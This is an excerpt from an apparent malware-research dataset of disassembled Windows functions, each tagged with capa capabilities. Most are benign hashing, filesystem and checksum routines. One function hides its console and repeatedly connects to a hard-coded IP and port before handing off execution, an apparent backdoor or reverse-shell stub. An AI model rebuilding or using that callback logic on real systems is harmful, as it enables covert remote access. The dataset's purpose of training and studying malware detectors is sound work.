joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004b920
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rsi
mov r12, r8
mov rsi, rdx
mov r13, rcx
mov r15, qword [r8 + 0x10]
mov r9, qword [r8 + 0x18]
cmp r9, 0x10
jb 0x14004b95f
mov r8, qword [r8]
movabs rdx, 0xcbf29ce484222325
xor ecx, ecx
test r15, r15
je 0x14004b994
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
xor rdx, rax
imul rdx, r10
inc rcx
cmp rcx, r15
jb 0x14004b980
mov rcx, qword [r13 + 0x30]
and rcx, rdx
lea r14, [r13 + 8]
shl rcx, 4
mov qword [rsp + 0x70], rcx
mov rax, qword [r13 + 0x18]
mov rdi, qword [rax + rcx]
cmp rdi, qword [r14]
jne 0x14004b9ba
mov rbx, qword [r14]
jmp 0x14004b9c2
mov rbx, qword [rax + rcx + 8]
mov rbx, qword [rbx]
cmp rbx, rdi
je 0x14004ba34
nop word [rax + rax]
mov rbx, qword [rbx + 8]
lea rdx, [rbx + 0x10]
lea r14, [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004b9e6
mov rdx, qword [rdx]
cmp r9, 0x10
jb 0x14004b9f2
mov rcx, qword [r12]
jmp 0x14004b9f5
mov rcx, r12
mov r14, qword [r14]
mov r8, r14
cmp r15, r14
cmovb r8, r15
test r8, r8
je 0x14004ba10
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004ba26
cmp r15, r14
jb 0x14004ba26
ja 0x14004ba26
mov qword [rsi], rbx
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x14004bb21
cmp rbx, rdi
mov r9, qword [r12 + 0x18]
jne 0x14004b9d0
lea r14, [r13 + 8]
mov rax, qword [r14]
mov rdi, qword [rax]
mov r9, r12
mov r8, qword [rdi + 8]
mov rdx, rdi
mov rcx, r14
call fcn.14004b7a0
mov rdx, rax
movabs rcx, 0x555555555555554
sub rcx, qword [r14 + 8]
cmp rcx, 1
jae 0x14004ba71
lea rcx, str.list_T__too_long
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
inc qword [r14 + 8]
mov qword [rdi + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], rdx
mov rdi, qword [r14]
mov rdi, qword [rdi]
mov qword [rsp + 0x20], rdi
mov rax, qword [rdi]
cmp rbx, rax
je 0x14004bac0
mov rcx, qword [rdi + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rbx
mov rcx, qword [rbx + 8]
mov qword [rcx], rdi
mov rdx, qword [rbx + 8]
mov rcx, qword [rax + 8]
mov qword [rbx + 8], rcx
mov rcx, qword [rdi + 8]
mov qword [rax + 8], rcx
mov qword [rdi + 8], rdx
mov rdx, qword [r13 + 0x18]
mov r8, qword [rsp + 0x70]
add rdx, r8
mov rax, qword [rdx]
cmp rax, qword [r14]
jne 0x14004bae2
mov qword [rdx], rdi
mov rax, qword [r13 + 0x18]
mov qword [rax + r8 + 8], rdi
jmp 0x14004bb0e
cmp rax, rbx
jne 0x14004baec
mov qword [rdx], rdi
jmp 0x14004bb0e
mov rax, qword [rdx + 8]
mov rcx, qword [rax]
mov qword [rdx + 8], rcx
cmp rcx, rdi
je 0x14004bb0e
mov rdx, qword [r13 + 0x18]
mov rax, qword [rdx + r8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8 + 8], rcx
mov rcx, r13
call fcn.14004c390
nop
mov qword [rsi], rdi
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14004bb40
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rbx, r9
mov r12, rdx
mov r13, rcx
mov r15, qword [r8 + 0x10]
mov r10, qword [r8 + 0x18]
cmp r10, 0x10
jb 0x14004bb83
mov r9, qword [r8]
jmp 0x14004bb86
mov r9, r8
movabs rdx, 0xcbf29ce484222325
xor ecx, ecx
test r15, r15
je 0x14004bbb5
movabs r11, 0x100000001b3
movzx eax, byte [r9 + rcx]
xor rdx, rax
imul rdx, r11
inc rcx
cmp rcx, r15
jb 0x14004bba1
mov r9, qword [r13 + 0x30]
and r9, rdx
shl r9, 4
mov qword [rsp + 0x20], r9
mov rax, qword [r13 + 0x18]
mov rsi, qword [rax + r9]
cmp rsi, qword [r13 + 8]
jne 0x14004bbd9
mov rdi, qword [r13 + 8]
jmp 0x14004bbe1
mov rdi, qword [rax + r9 + 8]
mov rdi, qword [rdi]
cmp rdi, rsi
je 0x14004bc8c
nop word [rax + rax]
mov rdi, qword [rdi + 8]
lea rdx, [rdi + 0x10]
lea r14, [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004bc06
mov rdx, qword [rdx]
cmp r10, 0x10
jb 0x14004bc11
mov rcx, qword [r8]
jmp 0x14004bc14
mov rcx, r8
mov r14, qword [r14]
mov r8, r14
cmp r15, r14
cmovb r8, r15
test r8, r8
je 0x14004bc2f
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004bc72
cmp r15, r14
jb 0x14004bc72
ja 0x14004bc72
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r13 + 0x10]
lea rcx, [rbx + 0x10]
call fcn.14002f020
mov rcx, rbx
call fcn.140063e28
mov qword [r12], rdi
mov byte [r12 + 8], 0
mov rax, r12
jmp 0x14004bd29
cmp rdi, rsi
mov r8, qword [rsp + 0x80]
mov r10, qword [r8 + 0x18]
jne 0x14004bbf0
mov r9, qword [rsp + 0x20]
mov qword [rsp + 0x80], rbx
mov rax, qword [rbx]
cmp rdi, rax
je 0x14004bcc9
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r13 + 0x18]
add rdx, r9
mov rax, qword [rdx]
cmp rax, qword [r13 + 8]
jne 0x14004bce7
mov qword [rdx], rbx
mov rax, qword [r13 + 0x18]
mov qword [rax + r9 + 8], rbx
jmp 0x14004bd13
cmp rax, rdi
jne 0x14004bcf1
mov qword [rdx], rbx
jmp 0x14004bd13
mov rax, qword [rdx + 8]
mov rcx, qword [rax]
mov qword [rdx + 8], rcx
cmp rcx, rbx
je 0x14004bd13
mov rdx, qword [r13 + 0x18]
mov rax, qword [rdx + r9 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r9 + 8], rcx
mov rcx, r13
call fcn.14004c390
nop
mov qword [r12], rbx
mov byte [r12 + 8], 1
mov rax, r12
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x14004e130
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], r8
push rdi
sub rsp, 0x20
mov r9, qword [r8 + 0x20]
mov rdi, r8
add r8, 0x10
mov rsi, rdx
mov r10, rcx
cmp qword [r8 + 0x18], 0x10
jb 0x14004e15f
mov r8, qword [r8]
xor ecx, ecx
movabs rdx, 0xcbf29ce484222325
test r9, r9
je 0x14004e194
movabs r11, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
inc rcx
xor rdx, rax
imul rdx, r11
cmp rcx, r9
jb 0x14004e180
mov r8, qword [r10 + 0x30]
mov rcx, qword [r10 + 0x18]
and r8, rdx
shl r8, 4
add rcx, r8
cmp qword [rcx + 8], rdi
jne 0x14004e1d1
cmp qword [rcx], rdi
jne 0x14004e1c7
mov rax, qword [r10 + 8]
mov qword [rcx], rax
mov rcx, qword [r10 + 0x18]
mov rax, qword [r10 + 8]
mov qword [rcx + r8 + 8], rax
jmp 0x14004e1dc
mov rax, qword [rdi + 8]
mov qword [rcx + 8], rax
jmp 0x14004e1dc
cmp qword [rcx], rdi
jne 0x14004e1e1
mov rax, qword [rdi]
mov qword [rcx], rax
mov rdi, qword [rsp + 0x40]
mov rax, qword [rdi + 8]
lea rcx, [rdi + 0x10]
mov rbx, qword [rdi]
mov qword [rax], rbx
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r10 + 0x10]
call fcn.14002f020
mov rcx, rdi
call fcn.140063e28
mov qword [rsi], rbx
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400514f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r15, qword [r8 + 0x18]
mov r14, r8
mov rdi, qword [r8 + 0x10]
mov r12, rdx
mov rbp, rcx
cmp r15, 0x10
jb 0x140051521
mov r8, qword [r8]
xor ecx, ecx
movabs rdx, 0xcbf29ce484222325
test rdi, rdi
je 0x140051554
movabs r9, 0x100000001b3
nop dword [rax]
movzx eax, byte [r8 + rcx]
inc rcx
xor rdx, rax
imul rdx, r9
cmp rcx, rdi
jb 0x140051540
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x30]
mov rbp, qword [rbp + 8]
and rax, rdx
mov rbx, rax
mov qword [rsp + 0x58], rsi
add rax, rax
add rbx, rbx
mov r13, qword [rcx + rax*8]
inc rax
mov rbx, qword [rcx + rbx*8]
lea rax, [rcx + rax*8]
mov qword [rsp + 0x50], rax
cmp r13, rbp
jne 0x14005158f
mov rax, rbp
jmp 0x140051595
mov rax, qword [rax]
mov rax, qword [rax]
cmp rbx, rax
je 0x140051633
lea rcx, [rbx + 0x10]
cmp r15, 0x10
jb 0x1400515ad
mov rdx, qword [r14]
jmp 0x1400515b0
mov rdx, r14
cmp qword [rcx + 0x18], 0x10
lea rsi, [rcx + 0x10]
jb 0x1400515be
mov rcx, qword [rcx]
mov rsi, qword [rsi]
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
test r8, r8
je 0x1400515d9
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400515e0
cmp rsi, rdi
jb 0x1400515e0
jbe 0x1400515ea
mov rbx, qword [rbx]
mov rax, qword [rsp + 0x50]
jmp 0x140051585
cmp qword [rbx + 0x28], 0x10
lea rdx, [rbx + 0x10]
lea rsi, [rdx + 0x10]
jb 0x1400515fc
mov rdx, qword [rdx]
cmp r15, 0x10
jb 0x140051605
mov r14, qword [r14]
mov rsi, qword [rsi]
cmp rdi, rsi
mov r8, rsi
cmovb r8, rdi
test r8, r8
je 0x140051623
mov rcx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005162a
cmp rdi, rsi
jb 0x14005162a
jbe 0x14005162d
mov rbx, rbp
mov qword [r12], rbx
jmp 0x140051637
mov qword [r12], rbp
mov rsi, qword [rsp + 0x58]
mov rax, r12
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x1400555f0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [rcx + 0x68]
lea rdx, [r8 + r8*2]
mov rbx, rcx
shl rdx, 3
mov rcx, rsi
mov rdi, r8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
jne 0x140055649
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rsi
lea rdx, str.sparsehash:_FATAL_ERROR:_failed_to_reallocate__lu_elements_for_ptr__p
mov rcx, rax
mov r8d, edi
call fcn.140027a00
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rsi, qword [rsp + 0x38]
mov qword [rbx + 0x68], rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14005e290
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [rcx + 0x88]
lea rdx, [r8 + r8*4]
mov rbx, rcx
shl rdx, 3
mov rcx, rsi
mov rdi, r8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
jne 0x14005e2ec
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rsi
lea rdx, str.sparsehash:_FATAL_ERROR:_failed_to_reallocate__lu_elements_for_ptr__p
mov rcx, rax
mov r8d, edi
call fcn.140027a00
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rsi, qword [rsp + 0x38]
mov qword [rbx + 0x88], rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400626e0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [rcx + 0x80]
lea rdx, [r8 + r8*2]
mov rbx, rcx
shl rdx, 4
mov rcx, rsi
mov rdi, r8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
jne 0x14006273c
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rsi
lea rdx, str.sparsehash:_FATAL_ERROR:_failed_to_reallocate__lu_elements_for_ptr__p
mov rcx, rax
mov r8d, edi
call fcn.140027a00
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rsi, qword [rsp + 0x38]
mov qword [rbx + 0x80], rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400655f0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400a5028]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x80]
mov rsi, r9
mov rdi, qword [rsp + 0x88]
test rbx, rbx
je 0x140065629
test rdi, rdi
jne 0x14006562e
lea eax, [rdi + 0x57]
jmp 0x14006569e
test rdi, rdi
je 0x140065636
mov eax, dword [rdi]
mov dword [rsp + 0x30], eax
jmp 0x14006563e
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x34]
test rsi, rsi
je 0x140065663
mov dword [rsi], edx
mov ecx, dword [rsp + 0x30]
test rdi, rdi
je 0x14006566e
mov dword [rdi], ecx
test eax, eax
jne 0x14006569e
test rbx, rbx
je 0x14006569c
cmp edx, 1
jne 0x1400656b3
test ecx, ecx
je 0x140065699
test dl, cl
jne 0x140065692
mov rax, rcx
shr rax, 1
cmp word [rbx + rax*2 - 2], 0
je 0x14006569c
mov eax, 0xd
jmp 0x14006569e
mov byte [rbx], 0
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140063e50
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
cmp edx, 7
jne 0x14006569c
test cl, 1
jne 0x140065692
mov eax, ecx
shr eax, 1
cmp eax, 1
jb 0x140065692
mov rdx, rcx
shr rdx, 1
cmp word [rbx + rdx*2 - 2], 0
jne 0x140065692
cmp eax, 1
jbe 0x14006569c
cmp word [rbx + rdx*2 - 4], 0
je 0x14006569c
mov eax, 0xd
jmp 0x14006569e
Function at 0x140066840
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x18], 8
mov rsi, rdx
mov rdi, rcx
jb 0x14006685f
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14006688e
mov r8, rsi
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.1400666f0
mov eax, dword [rax]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
test rsi, rsi
je 0x1400668a2
mov dword [rsi], 0
call fcn.140069ad0
mov qword [rsi + 8], rax
bt ebx, 0xa
jae 0x1400668e9
mov rcx, rdi
call fcn.140066280
test al, al
je 0x1400668d4
and bl, 0x10
mov eax, 4
mov ecx, 0xb
cmovne eax, ecx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov eax, 9
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x40]
and ebx, 0x10
or ebx, 0x20
shr ebx, 4
mov eax, ebx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140066a50
Capabilities:
Delete directory
Delete file

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov rax, qword [0x1400a5028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r8
mov rbx, rcx
cmp edx, 1
jne 0x140066a9a
test r8, r8
je 0x140066a93
mov dword [r8], 0
call fcn.140069ad0
mov qword [rdi + 8], rax
xor al, al
jmp 0x140066b81
lea eax, [rdx - 3]
mov qword [rsp + 0x40], 0xf
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x28], 0
mov r8d, 0x19
lea rdx, str.boost::filesystem::remove
lea rcx, [rsp + 0x28]
test eax, 0xfffffff7
je 0x140066b26
call fcn.140035240
nop
cmp qword [rbx + 0x18], 8
jb 0x140066adf
mov rcx, qword [rbx]
jmp 0x140066ae2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
sete cl
lea r9, [rsp + 0x28]
mov r8, rdi
mov rdx, rbx
call fcn.1400661b0
movzx ebx, al
mov r8, qword [rsp + 0x40]
cmp r8, 0x10
jb 0x140066b1e
inc r8
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x28]
call fcn.14002ef10
nop
test bl, bl
je 0x140066b7f
xor al, al
jmp 0x140066b81
call fcn.140035240
nop
cmp qword [rbx + 0x18], 8
jb 0x140066b38
mov rcx, qword [rbx]
jmp 0x140066b3b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
sete cl
lea r9, [rsp + 0x28]
mov r8, rdi
mov rdx, rbx
call fcn.1400661b0
movzx ebx, al
mov r8, qword [rsp + 0x40]
cmp r8, 0x10
jb 0x140066b77
inc r8
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x28]
call fcn.14002ef10
nop
test bl, bl
jne 0x140066a93
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140063e50
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140066c20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0xc8], rbx
mov rax, qword [0x1400a5028]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, r8
mov rdi, rdx
mov rsi, rcx
cmp qword [rdx + 0x18], 8
jb 0x140066c64
mov rcx, qword [rdx]
jmp 0x140066c67
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebp, eax
cmp eax, 0xffffffff
jne 0x140066c87
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.1400666f0
jmp 0x140066dd5
xor r15d, r15d
bt eax, 0xa
jae 0x140066d95
cmp qword [rdi + 0x18], 8
jb 0x140066ca0
mov rdx, qword [rdi]
jmp 0x140066ca3
mov rdx, rdi
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], r15
mov word [rsp + 0x50], r15w
cmp word [rdx], r15w
jne 0x140066cc2
mov r8, r15
jmp 0x140066cd0
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r15w
jne 0x140066cc6
lea rcx, [rsp + 0x50]
call fcn.14002ba10
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x68]
cmp r8, 8
jb 0x140066d35
inc r8
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14002b9a0
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], r15
mov word [rsp + 0x50], r15w
cmp rbx, 0xffffffffffffffff
jne 0x140066d60
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.1400666f0
nop
jmp 0x140066dd5
mov rcx, rdi
call fcn.140066280
test al, al
jne 0x140066d8b
mov edx, ebp
mov rcx, rdi
call fcn.140066360
mov dword [rsi], 9
mov dword [rsi + 4], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140066dd5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test r14, r14
je 0x140066da6
mov dword [r14], r15d
call fcn.140069ad0
mov qword [r14 + 8], rax
mov edx, ebp
mov rcx, rdi
test bpl, 0x10
mov dword [rsp + 0x40], 3
jne 0x140066dc1
mov dword [rsp + 0x40], 2
call fcn.140066360
mov dword [rsp + 0x44], eax
lea rax, [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsi], rax
mov rax, rsi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140063e50
mov rbx, qword [rsp + 0xc8]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14006a4c0
Capabilities:
Compute adler32 checksum

Disassembly:
mov qword [rsp + 8], rbx
mov r10, rdx
movzx r9d, cx
movabs rax, 0x79baa6bb6398b6f7
shr ecx, 0x10
mul r8
mov rax, r8
mov rbx, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x15b0
sub r8, rax
test r10, r10
jne 0x14006a508
lea eax, [r10 + 1]
mov rbx, qword [rsp + 8]
ret
test rbx, rbx
je 0x14006a5dc
xor edx, edx
cmp r8, 7
jbe 0x14006a58a
lea r11d, [rdx + 7]
nop dword [rax]
movzx eax, byte [r10]
add r11d, 8
add r9d, eax
add edx, 8
movzx eax, byte [r10 + 1]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 2]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 3]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 4]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 5]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 6]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 + 7]
add ecx, r9d
add r9d, eax
add r10, 8
add ecx, r9d
mov eax, r11d
cmp rax, r8
jb 0x14006a520
mov eax, edx
cmp rax, r8
jae 0x14006a5a7
movzx eax, byte [r10]
inc edx
add r9d, eax
inc r10
add ecx, r9d
mov eax, edx
cmp rax, r8
jb 0x14006a591
mov eax, 0x80078071
mul r9d
shr edx, 0xf
imul eax, edx, 0xffff000f
add r9d, eax
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
sub rbx, r8
mov r8d, 0x15b0
jne 0x14006a511
mov rbx, qword [rsp + 8]
shl ecx, 0x10
lea eax, [r9 + rcx]
ret
Function at 0x1400011f0
Capabilities:
Connect socket
Initialize winsock library
Terminate process

Disassembly:
push rbx
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 2
lea rdx, [rsp + 0x30]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000124b
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.192.168.1.105
mov qword [rsp + 0x28], 0
mov qword [0x140005678], rax
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0xc355
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x140005678]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1400012d7
nop dword [rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140005678]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400012b0
call section..text
int3

Function at 0x140001bec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c36
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c38
xor al, al
add rsp, 0x28
ret
Function at 0x140001110
Capabilities:
Resume thread

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbx, rcx
call qword [sym.imp.mfc100u.dll_CMFCOutlookBarPane::OnEraseWorkArea]
cmp qword [rbx + 0x200], 0
jne 0x140001170
lea rdx, str.Error:_Bad_connection_data._n
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc100u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_clas]
nop
mov dword [rbx + 0x208], 0x3f3
mov edx, 2
mov rcx, rbx
call qword [sym.imp.mfc100u.dll_CVSListBox::EditItem]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc100u.dll_CWinApp::CWinApp]
xor eax, eax
jmp 0x1400012cf
lea rdx, [0x14000b158]
mov ecx, 0x82
call qword [sym.imp.mfc100u.dll_AfxCriticalNewHandler]
mov r8, rax
mov edx, 0x467
mov r9d, 0x82
mov rcx, qword [rbx + 0x160]
call qword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
jne 0x1400011df
lea rdx, str.Error:_loading_connection_dialog_AVI._n
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc100u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_clas]
nop
mov dword [rbx + 0x208], 0x3ec
mov edx, 2
mov rcx, rbx
call qword [sym.imp.mfc100u.dll_CVSListBox::EditItem]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc100u.dll_CWinApp::CWinApp]
xor eax, eax
jmp 0x1400012cf
mov rcx, qword [rbx + 0x40]
mov rax, qword [rbx + 0x200]
mov qword [rax + 0x10], rcx
mov rax, qword [rbx + 0x200]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140001202
mov byte [rcx + 8], 0
mov dword [rbx + 0x208], 0x3e8
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
xor r9d, r9d
or r8d, 0xffffffff
mov rdx, qword [rbx + 0x200]
lea rcx, [0x140001510]
call qword [sym.imp.mfc100u.dll_AFX_WM_ON_MOVETOTABGROUP]
mov qword [rbx + 0x1f8], rax
test rax, rax
jne 0x14000127f
lea rdx, str.Error:_Unable_to_create_worker_thread._n
lea rcx, [rsp + 0x50]
